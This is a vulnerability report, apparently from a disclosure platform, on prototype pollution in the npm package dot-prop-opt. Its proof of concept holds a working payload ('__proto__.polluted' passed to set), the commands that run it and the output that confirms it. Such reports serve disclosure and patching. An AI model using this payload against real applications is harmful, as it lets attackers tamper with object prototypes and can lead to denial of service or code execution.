Prototype Pollution in alexandervu/dot-prop-opt
Valid
Reported on
Jan 26th 2021
Description
dot-prop-opt
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
const { set } = require('dot-prop-opt')
console.log('Before: ' + {}.polluted)
set({}, '__proto__.polluted', true)
console.log('After: ' + {}.polluted)
- Execute the following commands in the terminal:
npm i dot-prop-opt # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: undefined
After: true
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
to join this conversation